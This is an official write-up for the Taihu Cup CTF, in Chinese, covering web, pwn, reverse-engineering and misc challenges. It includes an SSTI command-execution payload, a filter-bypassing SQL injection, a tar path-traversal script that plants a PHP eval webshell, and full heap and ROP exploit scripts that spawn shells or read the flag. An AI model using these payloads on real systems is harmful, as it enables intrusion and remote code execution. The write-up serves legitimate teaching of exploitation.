太湖杯官方writeup Asuri第一次举办对外的比赛,题目逆向和密码学质量相对较高,web和misc比较容易。 因为我们失职,比赛中没有使用动态容器,也是非常非常感谢做出来的师傅没有搅屎Orz
Web checkin 拼手速的游戏。其实也可以通过修改时间让游戏变慢更快得到flag,各自想办法即可~
easy_web unicode规范化参考网址 https://www.compart.com/en/unicode/ 通过unicode字符规范化来绕过字符检查
︷︷ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() ︸︸
cross the filesystem field 简单的sql注入读源码,双写绕过即可?id=1%20uniunionon%20seselectlect%20load_file(0x2f7661722f7777772f68746d6c2f696e6465782e706870)
读到源码后发现目录穿越考点,直接用的python自带的tar, 可以解压目录穿越出去
1 2 3 4 5 6 7 8 import tarfile import io import requests z_file = tarfile.open ("test.tar" , mode='w' ) z_info = tarfile.TarInfo("../../../../../../var/www/html/upload/pwned.php" ) b = b'<?php eval($_REQUEST["cmd"]);?>' z_info.size = len (b) z_file.addfile(z_info, io.BytesIO(b)) z_file.close()
修改 submit 到 submit1 上传上去, upload/pwned.php 就是 shell
Pwn easyKooc 利用leave message 泄露cannary然后double free申请到栈上的地址控制程序执行chunk块内的shellcode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 from pwn import *context.arch='mips' context.log_level = 'debug' sh = remote('127.0.0.1' , 8888 ) context.arch='mips' context.os='linux' context.update(bits = 32 , endian = 'little' ) def Write (Until, Text ): sh.sendlineafter(Until, Text) def Add (id , content ): Write('Plz input your choice\n' , '1' ) Write('Plz input your todo id!\n' , id ) sh.sendafter('input your content' , content) def Delete (id ): Write('Plz input your choice\n' , '2' ) Write('Plz input your todo id!\n' , id ) def Edit (Content ) : Write('Plz input your choice\n' , '3' ) sh.sendafter('What message do you want to leave?\n' , Content) shellcode = "" shellcode += "\x66\x06\x06\x24\xff\xff\xd0\x04\xff\xff\x06\x28\xe0" shellcode += "\xff\xbd\x27\x01\x10\xe4\x27\x1f\xf0\x84\x24\xe8\xff" shellcode += "\xa4\xaf\xec\xff\xa0\xaf\xe8\xff\xa5\x27\xab\x0f\x02" shellcode += "\x24\x0c\x01\x01\x01\x2f\x62\x69\x6e\x2f\x73\x68\x00" Write("Plz input your motto!\n" , shellcode) sh.recvuntil('gift for you: ' ) Stack_addr = int (sh.recvuntil('\n' ), 16 ) log.success('Stack_addr: ' + hex (Stack_addr)) Edit('a' *0x21 ) sh.recvuntil('a' *0x20 ) canary = u32(sh.recv(4 )) - 0x61 log.success('canary: ' + hex (canary)) payload = 'a' *0x1c + p32(0x41 ) Edit(payload) fake_chunk = Stack_addr + 0x20 Add('1' , 'a' ) Add('2' , 'a' ) Delete('1' ) Delete('2' ) Delete('1' ) Add('3' , p32(fake_chunk)) Add('4' , 'b' ) sh.recvuntil('your content is: ' ) heapbase = u32(sh.recv(4 )) & 0xFFFFFF00 log.success('heapbase: ' + hex (heapbase)) Add('5' , 'b' ) Add('6' , p32(canary) + p32(0x0 ) + p32(heapbase + 0x8 )) Write('Plz input your choice\n' , '4' ) sh.interactive()
sevenhero 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 from pwn import *sh = process('./pwn' ) sh = remote('119.3.89.93' , 8011 ) context.terminal = ['tmux' , 'splitw' , '-h' ] context.arch = "amd64" def add (idx, size, content ): sh.recvuntil('Input your choice:\n' ) sh.sendline('1' ) sh.recvuntil(': ' ) sh.sendline(str (idx)) sh.recvuntil(': ' ) sh.sendline(str (size)) sh.recvuntil(': ' ) sh.send(content) def edit (idx, size, content ): sh.recvuntil('Input your choice:\n' ) sh.sendline('2' ) sh.recvuntil(': ' ) sh.sendline(str (idx)) sh.recvuntil(': ' ) sh.sendline(str (size)) if (size == 0 ): sh.recvuntil('error!\n' ) else : sh.recvuntil(': ' ) sh.send(content) def remove (idx ): sh.recvuntil('Input your choice:\n' ) sh.sendline('3' ) sh.recvuntil(': ' ) sh.sendline(str (idx)) def show (idx ): sh.recvuntil('Input your choice:\n' ) sh.sendline('4' ) sh.recvuntil(': ' ) sh.sendline(str (idx)) def group (): sh.recvuntil('Input your choice:\n' ) sh.sendline('5' ) for i in range (14 ): add(i, 0x50 , 'a\n' ) for i in range (6 ): remove(i) edit(6 , 0 , '' ) edit(7 , 0 , '' ) for i in range (8 , 14 ): remove(i) show(6 ) sh.recvuntil('content: ' ) heapbase = u64(sh.recvuntil('\n' )[:-1 ].ljust(8 ,'\x00' )) -0x460 log.success('heapbase: ' + hex (heapbase)) edit(7 , 0x50 , p64(heapbase+0x250 )) group() add(8 , 0x50 , 'a\n' ) group() sh.recvuntil('Input your choice:\n' ) sh.sendline('666' ) sh.recvuntil('gift: ' ) libcbase = int (sh.recvuntil('\n' )[:-1 ],16 ) - 0x264140 log.success('libcbase: ' + hex (libcbase)) free_hook = libcbase + 0x1e75a8 system_addr = libcbase + 0x52fd0 sh.recvuntil('string: ' ) sh.sendline(p64(0xdeadbeef )) add(9 , 0x50 , 'a\n' ) edit(9 , 0 , '' ) edit(9 , 0x50 , p64(free_hook)) sh.recvuntil('Input your choice:\n' ) sh.sendline('666' ) sh.recvuntil('string: ' ) sh.sendline(p64(0xdeadbeef )) sh.recvuntil('Input your choice:\n' ) sh.sendline('666' ) sh.recvuntil('string: ' ) sh.sendline(p64(system_addr)) add(10 , 0x20 , '/bin/sh\x00' ) remove(10 ) sh.interactive()
manager 先利用Hash的溢出和爆破来Login 这里Hash采用的是base进制, base取了37, 且是unsinged long long 自然溢出.
利用realloc(ptr,0) == free(ptr)的特点 进行doublefree 利用,由于题目开启了seccomp,禁用了execve,并且禁用了free_hook,因此选择泄露environ,并且用栈迁移到堆区写好的rop链上做ORW获取flag.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 #include <bits/stdc++.h> using namespace std ;typedef unsigned long long ull; const int Len = 10000 ;int a[500001 ];char s[100005 ];ull Ans0; bool Cmp (int x) { bool flag = true ; for (int i = 0 ; i < Len; ++i) if (s[i] != s[x + i]) { flag = false ; break ; } if (flag) return false ; unsigned long long Ans = 0 ; for (int i = 0 ; i < Len; ++i) Ans = Ans * 37 + s[x + i]; return Ans == Ans0; } int main () { int len=1 ; a[1 ]=1 ; int i; while (len<=100000 ) { for (i=0 ;i<len;i++) { if (a[i]==1 ) a[i+len]=0 ; else a[i+len]=1 ; } len=len*2 ; } for (i = 0 ; i < 100000 ; i++) { if (a[i]==1 ) s[i] = 'a' ; else s[i] = 'b' ; } for (int i = 0 ; i < Len; ++i) Ans0 = Ans0 * 37 + s[i]; for (int i = 1 ; i < 100000 - Len; ++i) if (Cmp(i)) { for (int j = 0 ; j < Len; ++j) printf ("%c" , s[j]); puts ("" ); for (int j = 0 ; j < Len; ++j) printf ("%c" , s[i + j]); break ; } return 0 ; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 from pwn import *context.log_level = 'DEBUG' sh = remote('127.0.0.1' ,8001 ) libc = ELF('./libc-2.23.so' ) def add (name,ids,length,info ): sh.sendline('1' ) sh.recvuntil('Input Name of Staff:\n' ) sh.send(name) sh.recvuntil('Input Number of Staff:\n' ) sh.sendline(str (ids)) sh.recvuntil('Input len of Info:\n' ) sh.sendline(str (length)) sh.recvuntil('get Info:\n' ) if (length > 0 ): sh.send(info) sh.recvuntil('>>>' ) def edit_name (ids,name ): sh.sendline('2' ) sh.recvuntil('Input Number:\n' ) sh.sendline(str (ids)) sh.recvuntil('> ' ) sh.sendline('1' ) sh.recvuntil('Input name:\n' ) sh.send(name) sh.recvuntil('>>>' ,timeout=0.1 ) def edit_info (ids,length,info ): sh.sendline('2' ) sh.recvuntil('Input Number:\n' ) sh.sendline(str (ids)) sh.recvuntil('> ' ) sh.sendline('2' ) sh.recvuntil('Input len of Info:\n' ) sh.sendline(str (length)) sh.recvuntil('Input info:\n' ) if (length > 0 ): sh.send(info) sh.recvuntil('>>>' ) def realloc (ids ): sh.sendline('2' ) sh.recvuntil('Input Number:\n' ) sh.sendline(str (ids)) sh.recvuntil('> ' ) sh.sendline('2' ) sh.recvuntil('>>>' ) def delete (ids ): sh.sendline('3' ) sh.recvuntil('Input Number of Staff:\n' ) sh.sendline(str (ids)) sh.recvuntil('>>>' ) def show (ids ): sh.sendline('4' ) sh.recvuntil('Input staff number:\n' ) sh.sendline(str (ids)) def Login (): f = open ('./password.out' ) s1 = f.readline()[:-1 ] s2 = f.readline() f.close() sh.sendafter('Input String1:' , s1) sh.sendafter('Input String2:' , s2) Login() add('a' ,1 ,0x90 ,'aaa' ) payload = p64(0 ) + p64(0x21 ) + p64(0 ) * 2 + p64(0 ) + p64(0x21 ) add('./flag' ,2 ,0x90 ,payload) delete(1 ) add('a' ,1 ,0x50 ,'\n' ) show(1 ) sh.recvuntil('Info:' ) libc_base = u64(sh.recv(6 ).ljust(8 ,'\x00' )) - 0x3C4B0A log.success('libc_base = ' + hex (libc_base)) add('c' ,3 ,0 ,'' ) add('d' ,4 ,0 ,'' ) edit_info(3 ,0 ,'' ) edit_info(4 ,0 ,'' ) edit_info(3 ,0 ,'' ) show(3 ) sh.recvuntil('Info:' ) heap_base = (u64(sh.recv(6 ).ljust(8 ,'\x00' )) >> 12 ) << 12 log.success("heap_base = " + hex (heap_base)) edit_info(4 ,0x10 ,p64(0x170 + heap_base)) add('d' ,9 ,0x60 ,'./flag' ) environ_addr = libc_base + 0x3c6f38 payload = p64(0 ) + p64(0x21 ) + p64(environ_addr) + p64(0x40 ) + p64(0 ) + p64(0x21 ) edit_info(2 ,0x90 ,payload) show(9 ) sh.recvuntil('Info:' ) environ = u64(sh.recv(6 ).ljust(8 ,'\x00' )) log.success("environ = " + hex (environ)) log.info('1' ) payload = p64(0 ) + p64(0x21 ) + p64(heap_base + 0xb0 ) + p64(0x50 ) + p64(0 ) + p64(0x21 ) edit_info(2 ,0x90 ,payload) rdi_ret = 0x0000000000021112 + libc_base rsi_ret = 0x00000000000202f8 + libc_base rdx_ret = 0x0000000000001b92 + libc_base buf_addr = heap_base + 0x2000 leave_ret = libc_base + 0x0000000000042361 open_addr = libc_base + libc.symbols['open' ] read_addr = libc_base + libc.symbols['read' ] write_addr = libc_base + libc.symbols['write' ] flag = heap_base + 0x130 rop = p64(rdi_ret) + p64(flag) + p64(rsi_ret) + p64(0 ) + p64(open_addr) rop += p64(rdi_ret) + p64(3 ) + p64(rsi_ret) + p64(buf_addr) + p64(rdx_ret) + p64(0x30 ) + p64(read_addr) rop += p64(rdi_ret) + p64(1 ) + p64(rsi_ret) + p64(buf_addr) + p64(rdx_ret) + p64(0x30 ) + p64(write_addr) edit_info(9 ,0xa0 ,rop) payload = p64(0 ) + p64(0x21 ) + p64(heap_base + 0x270 ) + p64(0x10 ) + p64(0 ) + p64(0x21 ) rbp = environ - 0x128 rop_addr = heap_base + 0x380 edit_info(2 ,0x90 ,payload) edit_info(9 ,0x10 ,p64(rbp) + p64(9 )) edit_name(9 ,p64(rop_addr - 0x8 ) + p64(leave_ret)) sh.interactive()
Rev easy_rev 简单的逆向,程序一开始玩了一点点小花招,再init_array
将全局数组的内容改了。并且使用了arm中常见的anti-ida的技巧,混入了几个有问题的字节。这里并不是塞得无意义字节啦,本意首先塞入一个叫做PLD的加速指令。 这个指令中提到,如果发生了异常,系统会将这个指令当成NOP处理。而出题使用的字节码为0xF5DFDF02
,翻译成二进制即为
1 2 3 4 11110101110111111 1011 11100000010 ^ | 注意这一段
而这个指令在手册中的定义如下。。。 我们把arm指令本身给破坏了,所以导致ida翻译失败,可能这也是导致qemu模拟的arm环境运行不起来,这个出题人才疏学浅,确实没有意识到这个问题 出题人在树莓派上测试是可以执行的(包括使用gdb),所以没有意识到这个问题。。。
这边只需要将这些全部nop即可: 处理之前
1 2 3 4 5 6 7 8 9 10 11 12 13 text:00010940 ; --------------------------------------------------------------------------- .text:00010940 .text:00010940 loc_10940 ; DATA XREF: start+20↑o .text:00010940 ; .text:main↑o .text:00010940 STMFD SP!, {R4,R11,LR} .text:00010944 ADD R11, SP, #8 .text:00010948 SUB SP, SP, #0x84 .text:00010948 ; --------------------------------------------------------------------------- .text:0001094C DCD 0xF5DFDF02, 0xE1A00000, 0xE1A00000, 0xE1A00000, 0xE1A00000 .text:0001094C DCD 0xE1A00000, 0xE1A00000, 0xE1A00000, 0xE24B305C, 0xE3A02000 .text:0001094C DCD 0xE5832000, 0xE5832004, 0xE5832008, 0xE583200C, 0xE5832010 .text:0001094C DCD 0xE5832014, 0xE5832017, 0xE3A03000, 0xE50B3020, 0xE3A01000 .text:0001094C DCD 0xE59F02E4, 0xEBFFFE8D, 0xE50B0024, 0xE3A03000, 0xE58D3004
处理之后
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 .text:00010940 fd = -0x8C .text:00010940 offset = -0x88 .text:00010940 var_80 = -0x80 .text:00010940 var_78 = -0x78 .text:00010940 var_68 = -0x68 .text:00010940 var_64 = -0x64 .text:00010940 var_60 = -0x60 .text:00010940 var_5C = -0x5C .text:00010940 var_40 = -0x40 .text:00010940 var_3C = -0x3C .text:00010940 var_38 = -0x38 .text:00010940 var_34 = -0x34 .text:00010940 var_30 = -0x30 .text:00010940 var_2C = -0x2C .text:00010940 var_28 = -0x28 .text:00010940 var_24 = -0x24 .text:00010940 dest = -0x20 .text:00010940 var_1C = -0x1C .text:00010940 var_18 = -0x18 .text:00010940 var_14 = -0x14 .text:00010940 var_10 = -0x10 .text:00010940 var_C = -0xC .text:00010940 .text:00010940 STMFD SP!, {R4,R11,LR} .text:00010944 ADD R11, SP, #8 .text:00010948 SUB SP, SP, #0x84 .text:0001094C NOP .text:00010950 NOP .text:00010954 NOP .text:00010958 NOP .text:0001095C NOP .text:00010960 NOP .text:00010964 NOP .text:00010968 NOP .text:0001096C SUB R3, R11, #-var_5C .text:00010970 MOV R2, #0 .text:00010974 STR R2, [R3]
输入的字符的前13首先会进行一轮检测
1 2 3 4 5 6 7 8 9 10 11 for ( k = 0 ; k <= 12 ; ++k ) { v21 = *(int (__fastcall **)(_DWORD, _DWORD))&v33[4 * (k % 3 ) - 92 ]; v1 = *((unsigned __int8 *)&v7 + k); if ( v1 != v21(*((unsigned __int8 *)&v14 + k), byte_2103C[k]) ) { puts ("Operation failed!!!" ); return -1 ; } } puts ("Check next section" );
这里会轮流call三个轮转函数,并且将全局变量byte_2103C
传入。动态调试之后会发现,其实这三个函数分别是add/sub/xor,所以只需要逆向写这三个逻辑即可:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 def add (a,b ): return (a+b)%256 def sub (a,b ): return (a-b+256 )%256 def xor (a,b ): return a^b def get_first (): f_ops =[253 , 154 , 159 , 232 , 194 , 174 , 155 , 45 , 195 , 17 , 42 , 53 , 246 ] first = [ 99 ,210 ,254 ,79 ,185 ,217 ,0 ,63 ,160 ,128 ,67 ,80 ,85 ] func = [sub,add,xor] for i in range (len (first)): print(chr (func[i%3 ](first[i],f_ops[i])),end='' ) if __name__ == "__main__" : get_first()
后面的逻辑和前面的类似,会运行一段类似解密逻辑,解开了发现是一个迷宫:
1 2 3 4 5 6 ****** * E* * **** * **** * **** * *
这里出题有点失误。。。没有把所有的路径都解开,但是如果能解开的话完整逻辑为:
1 2 3 4 5 6 7 8 9 10 ****** * E* * **** * **** * **** * * **** * **** * ****D* ******
然后从E点走到D点。然后发现题目会根据输入的路径异或解开flag,于是最后得到:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 def add (a,b ): return (a+b)%256 def sub (a,b ): return (a-b+256 )%256 def xor (a,b ): return a^b def get_first (): f_ops =[253 , 154 , 159 , 232 , 194 , 174 , 155 , 45 , 195 , 17 , 42 , 53 , 246 ] first = [ 99 ,210 ,254 ,79 ,185 ,217 ,0 ,63 ,160 ,128 ,67 ,80 ,85 ] func = [sub,add,xor] for i in range (len (first)): print(chr (func[i%3 ](first[i],f_ops[i])),end='' ) def get_second (): s_ops = [ 83 ,62 ,32 ,65 ,30 ,44 ,36 ,11 ,54 ,40 ,55 ,82 ,14 ] op = "aaassssdddsss" for i,j in zip (s_ops, op): print(chr (i^ord (j)),end='' ) if __name__ == "__main__" : get_first() get_second()
easy-app 主要加密逻辑在.so中,实际上就是变型base64+TEA算法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 #include <iostream> #include <string> #include <stdio.h> using namespace std ;static const string base64_chars = "abcdefghijklmnopqrstuvwxyz!@#$%^&*()ABCDEFGHIJKLMNOPQRSTUVWXYZ+/" ;static inline bool is_base64 (unsigned char c) { int i = 0 ; while (base64_chars[i] != c && i < 64 ) { i++; } return i < 64 ; } string base64_decode (string const &encoded_string) { int in_len = encoded_string.size(); int i = 0 ; int j = 0 ; int in_ = 0 ; unsigned char char_array_4[4 ], char_array_3[3 ]; string ret; while (in_len-- && (encoded_string[in_] != '=' ) && is_base64(encoded_string[in_])) { char_array_4[i++] = encoded_string[in_]; in_++; if (i == 4 ) { for (i = 0 ; i < 4 ; i++) char_array_4[i] = base64_chars.find(char_array_4[i]); char_array_3[0 ] = (char_array_4[2 ] << 2 ) + ((char_array_4[0 ] & 0x30 ) >> 4 ); char_array_3[1 ] = ((char_array_4[0 ] & 0xf ) << 4 ) + ((char_array_4[1 ] & 0x3c ) >> 2 ); char_array_3[2 ] = ((char_array_4[1 ] & 0x3 ) << 6 ) + char_array_4[3 ]; for (i = 0 ; (i < 3 ); i++) ret += char_array_3[i]; i = 0 ; } } if (i) { for (j = i; j < 4 ; j++) char_array_4[j] = 0 ; for (j = 0 ; j < 4 ; j++) char_array_4[j] = base64_chars.find(char_array_4[j]); char_array_3[0 ] = (char_array_4[2 ] << 2 ) + ((char_array_4[0 ] & 0x30 ) >> 4 ); char_array_3[1 ] = ((char_array_4[0 ] & 0xf ) << 4 ) + ((char_array_4[1 ] & 0x3c ) >> 2 ); char_array_3[2 ] = ((char_array_4[1 ] & 0x3 ) << 6 ) + char_array_4[3 ]; for (j = 0 ; (j < i - 1 ); j++) ret += char_array_3[j]; } return ret; } void decrypt (unsigned int *v, unsigned int *k) { unsigned int v0 = v[0 ], v1 = v[1 ], sum = 0xC6EF3720 , i; unsigned int delta = 0x9e3779b9 ; unsigned int k0 = k[0 ], k1 = k[1 ], k2 = k[2 ], k3 = k[3 ]; for (i = 0 ; i < 32 ; i++) { v1 -= ((v0 << 4 ) + k2) ^ (v0 + sum) ^ ((v0 >> 5 ) + k3); v0 -= ((v1 << 4 ) + k0) ^ (v1 + sum) ^ ((v1 >> 5 ) + k1); sum -= delta; } v[0 ] = v0; v[1 ] = v1; } int main () { string check1 = base64_decode("e)n*pNe%PQy!^oS(@HtkUu+Cd$#hmmK&ieytiWwYkIA=" ); unsigned int v[2 ] = {0 , 0 }, k[4 ] = {66 , 55 , 44 , 33 }; for (int i = 0 ; i < check1.size(); i += 8 ) { unsigned int *v = (unsigned int *)&check1[i]; decrypt(v, k); } string str1 = check1.substr(0 , 16 ); string str2 = check1.substr(16 , 16 ); string temp1 = "" ; string temp2 = "" ; for (int i = 0 ; i < str1.size() && i < str2.size(); i++) { temp1 += (str1[i] & 0xf ) | (str2[i] & 0xf0 ); temp2 += (str2[i] & 0xf ) | (str1[i] & 0xf0 ); } cout << "flag{" << temp1 + temp2 << "}" << endl ; }
climb 一个小插曲:题目本身虽然是计划出成dump的形式,但是并不是如今的样子。现在的dump实际上是出题人不小心写出来的bug形成的dump 。不过好像作为一个dump题还挺真实的,所以就直接拿来出题了(
首先看到dump文件,发现是一个访问出错,并且发现访问的地址是一个不可写的地址,但是程序本身却是尝试与其进行异或:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 00007ff7`aefe1080 4883ec28 sub rsp,28h 00007ff7`aefe1084 ff158e860000 call qword ptr [ClimbToTop!pfnLockResource (00007ff7`aefe9718)] 00007ff7`aefe108a 4c8b057f860000 mov r8,qword ptr [ClimbToTop!g_Size (00007ff7`aefe9710)] 00007ff7`aefe1091 33c9 xor ecx,ecx 00007ff7`aefe1093 4c8bc8 mov r9,rax 00007ff7`aefe1096 498d4001 lea rax,[r8+1] 00007ff7`aefe109a 4883f840 cmp rax,40h 00007ff7`aefe109e 726b jb ClimbToTop!NewLockResource+0x8b (00007ff7`aefe110b) 00007ff7`aefe10a0 660f6f1598640000 movdqa xmm2,xmmword ptr [ClimbToTop!_xmm (00007ff7`aefe7540)] 00007ff7`aefe10a8 498d5110 lea rdx,[r9+10h] 00007ff7`aefe10ac 83e03f and eax,3Fh 00007ff7`aefe10af 4d8bd0 mov r10,r8 00007ff7`aefe10b2 4c2bd0 sub r10,rax 00007ff7`aefe10b5 6666660f1f840000000000 nop word ptr [rax+rax] 00007ff7`aefe10c0 f30f6f42f0 movdqu xmm0,xmmword ptr [rdx-10h] 00007ff7`aefe10c5 83c140 add ecx,40h 00007ff7`aefe10c8 488d5240 lea rdx,[rdx+40h] 00007ff7`aefe10cc 4863c1 movsxd rax,ecx 00007ff7`aefe10cf 660fefc2 pxor xmm0,xmm2 00007ff7`aefe10d3 f30f7f42b0 movdqu xmmword ptr [rdx-50h],xmm0 00007ff7`aefe10d8 f30f6f4ac0 movdqu xmm1,xmmword ptr [rdx-40h] 00007ff7`aefe10dd 660fefca pxor xmm1,xmm2
在这边能够找到pfnLockResource
,当前函数名字又叫做ClimbToTop!NewLockResource
,可以猜测当前的可能正在发生hook。在调用链上,还能看到类似AttachDetour
和DetachDetour
的函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 00007ff7`aefe120e 488bc8 mov rcx,rax 00007ff7`aefe1211 e8aa2a0000 call ClimbToTop!DetourUpdateThread (00007ff7`aefe3cc0) 00007ff7`aefe1216 488d1563feffff lea rdx,[ClimbToTop!NewLockResource (00007ff7`aefe1080)] 00007ff7`aefe121d 488d0df4840000 lea rcx,[ClimbToTop!pfnLockResource (00007ff7`aefe9718)] 00007ff7`aefe1224 e8571b0000 call ClimbToTop!DetourAttach (00007ff7`aefe2d80) 00007ff7`aefe1229 e8e2250000 call ClimbToTop!DetourTransactionCommit (00007ff7`aefe3810) 00007ff7`aefe122e 488bcf mov rcx,rdi 00007ff7`aefe1231 ff15e95d0000 call qword ptr [ClimbToTop!_imp_LockResource (00007ff7`aefe7020)] 00007ff7`aefe1237 488bf8 mov rdi,rax 00007ff7`aefe123a e861250000 call ClimbToTop!DetourTransactionBegin (00007ff7`aefe37a0) 00007ff7`aefe123f ff15d35d0000 call qword ptr [ClimbToTop!_imp_GetCurrentThread (00007ff7`aefe7018)] 00007ff7`aefe1245 488bc8 mov rcx,rax 00007ff7`aefe1248 e8732a0000 call ClimbToTop!DetourUpdateThread (00007ff7`aefe3cc0) 00007ff7`aefe124d 488d152cfeffff lea rdx,[ClimbToTop!NewLockResource (00007ff7`aefe1080)] 00007ff7`aefe1254 488d0dbd840000 lea rcx,[ClimbToTop!pfnLockResource (00007ff7`aefe9718)] 00007ff7`aefe125b e8a0210000 call ClimbToTop!DetourDetach (00007ff7`aefe3400)
结合题目基本上可以断定,整个进程hook了API LockResource 。然后看到之后之后还有一些LoadRemoteLibrary之类的库,并且将当前load的资源穿了过去,所以可以联想到dll本身会从exe的资源段释放 。这个exe 去hook了LockResource
,说明其企图修改LockResource的调用逻辑 。从逻辑中看到只是一个简单的异或。最后看到上下文可以明白本质上是从资源段释放一个dll,并且通过hook LockResource 偷偷解密了资源,并且最后load到内存中 。实际上load的部分是一个反射dll注入,不过不影响做题,直接从内存中将这一段逻辑dump下来,然后按照解密逻辑倒推即可。
DLL内部逻辑 首先可以发现整个逻辑会读入长度为192的01串,然后会尝试调用一个虚拟机。虚拟机看起来很大,但是实际上真正用到的汇编没几个。
可以确定的opcode在这边
1 2 3 4 5 6 .data:0000000180005038 opcode db 81h, 34h, 8 dup(0), 31h, 4 dup(0), 32h, 1, 3 dup(0) .data:0000000180005038 ; DATA XREF: sub_180001000+F↑w .data:0000000180005038 ; sub_180001000+54↑w ... .data:0000000180005038 db 33h, 0C2h, 3 dup(0), 50h, 7, 0C2h, 3 dup(0), 82h, 83h .data:0000000180005038 db 8, 8 dup(0), 34h, 8 dup(0), 5, 1, 3 dup(0), 40h, 1 .data:0000000180005038 db 0C0h, 3 dup(0), 51h
vm整体不是很长,并且有动态给字节码赋值的操作,大致逆向之后可以写出如下的逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 r0 = global_array[0 ] g_sum = r0 r1 = 0 r2 = 1 r3 = 194 do { r0 = Dst[r1] if (r0 != '0' ) { r2 = r2+1 } r0 = ans[r2+r3] r0 = g_sum + r0 g_sum = r0 r1 += 1 }while (r1 <192 )
global_array
的生成方式为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 do { if ( v3 >= 1 ) { global_array_line = global_array_; v5 = v3; do { ++global_array_line; *(global_array_line - 1 ) = rand() % 0xFFF ; --v5; } while ( v5 ); } ++v3; global_array_ += 194 ; }
global_array
其中的值是固定值,并且其实按照类似三角形 的形式再往其中填充数据(第一层只有一个数据,第二层有两个,以此类推) 根据题目描述可知,可能是一个求极值问题,根据输入的01决定选择三角形的哪条边。不过这边要求的是最大值而不是最小值,大约就是一个算法问题,可以写出解题思路:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 #include <iostream> #include <algorithm> #include <Windows.h> #include <Ws2tcpip.h> #define DEPTH 193 int dwTotal = 18528 ;int TrEE[DEPTH][DEPTH];void build_tree () { int sum = 0 ; for (int i = 1 ; i < DEPTH; i++) { sum += i; } for (int i = 1 ; i < DEPTH; i++) { for (int j = 1 ; j <= i; j++) { TrEE[i][j] = rand() % 0xfff ; } } } int walk_tree (char * input) { int size = strlen (input); int retValue = 0 ; if (size > 192 ) { puts ("Error input [X]" ); return -1 ; } int sum = 0 ; int x = 0 , y = 0 ; int first_step = TrEE[1 ][1 ]; sum += first_step; y = 1 ; x = 1 ; for (int i = 0 ; i < size; i++) { char ch = input[i]; x += 1 ; switch (ch){ case '1' : { sum += TrEE[x][++y]; break ; } case '0' : { sum += TrEE[x][y]; break ; } } } return sum; } int a[193 ][193 ];std ::string TrEEPath[193 ][193 ];void find_large_path () { for (int i = 0 ; i < DEPTH; i++) { for (int j = 0 ; j < DEPTH; j++) { a[i][j] = TrEE[i][j]; } } int n, i, j = 0 ; n = 193 ; auto max = [](int a, int b) { if (a > b) return a; else return b; }; for (i = n - 1 ; i >= 1 ; i--) { for (j = 1 ; j <= i; j++) { if (a[i][j - 1 ] > a[i][j]) { TrEEPath[i - 1 ][j - 1 ] = "0" + TrEEPath[i][j-1 ]; } else { TrEEPath[i - 1 ][j - 1 ] = "1" + TrEEPath[i][j]; } a[i - 1 ][j - 1 ] = max(a[i][j - 1 ], a[i][j]) + a[i - 1 ][j - 1 ]; } } printf ("Now we found large number is %d\n" , a[1 ][1 ]); printf ("The path is %s with size %d\n" , TrEEPath[1 ][1 ].c_str(),TrEEPath[1 ][1 ].size()); int result = walk_tree((char *)TrEEPath[1 ][1 ].c_str()); printf ("Walk result is %d\n" , result); return ; } int main () { build_tree(); find_large_path(); }
最后得到的字符串为:
1 000100001000010100100100001000000000000100011001110111111110100010000100000001111110100111000000101110100111110010011101011111111110100010000100100111111101000010000111111111001100000011011101
程序最后会将这192个字符传换成数字,再和内部的魔数异或:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 do ++v93; while ( Dst[v93] ); if ( v93 ) { v94 = 0 i64; do { v95 = -1 i64; Dst[v94] ^= Dst[v94 + 32 ]; ++v94; ++v0; do ++v95; while ( Dst[v95] ); } while ( v0 < v95 ); }
最后可以得到flag:
1 flag{cL1m8_w17H_vm_70_h4rV357}
Misc omisc 这是一个压缩文件,直接打开需要密码,把它拖入010Editor里查看,发现是伪加密
